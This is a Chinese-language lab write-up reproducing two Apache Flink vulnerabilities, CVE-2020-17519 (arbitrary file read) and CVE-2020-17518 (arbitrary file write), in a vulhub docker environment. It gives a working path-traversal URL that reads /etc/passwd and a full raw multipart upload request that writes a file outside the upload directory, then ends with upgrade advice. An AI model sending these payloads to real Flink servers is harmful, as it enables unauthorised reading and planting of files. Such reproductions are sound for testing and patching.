Apache Flink任意文件写入(CVE-2020-17518)&任意文件读取(CVE-2020-17519)
一、简介
Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。
二、漏洞概述
Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。
三、影响版本
Flink 1.5.1-1.11.2
四、环境搭建
使用vulhub进行安装
Vulhub地址:
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
进入目录
cd vulhub-master/flink/CVE-2020-17518
cd vulhub-master/flink/CVE-2020-17517
安装环境
docker-compose up -d
五、漏洞复现
CVE-2020-17519
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519—————————————————————————————————————————————————————————————————
poc:http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
CVE-2020-17518
接着访问http://your-ip:8081
exp:
POST /jars/upload HTTP/1.1
Host: 192.168.0.131:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 183
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/test1"
test123
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
列出所有容器的id
docker ps
在容器中执行命令
docker container exec -it 53dade1bf65c /bin/bash
六、修复建议
当前(2021/01/06)安全版本为
Apache Flink 1.12.0 & 1.11.3
建议相关用户升级Apache Flink到安全版本
下载地址:
https://flink.apache.org/downloads.html
参考文章:
https://blog.csdn.net/xuandao_ahfengren/article/details/112260262
https://mp.weixin.qq.com/s/FFp5bnjRBerErvU225P3Ig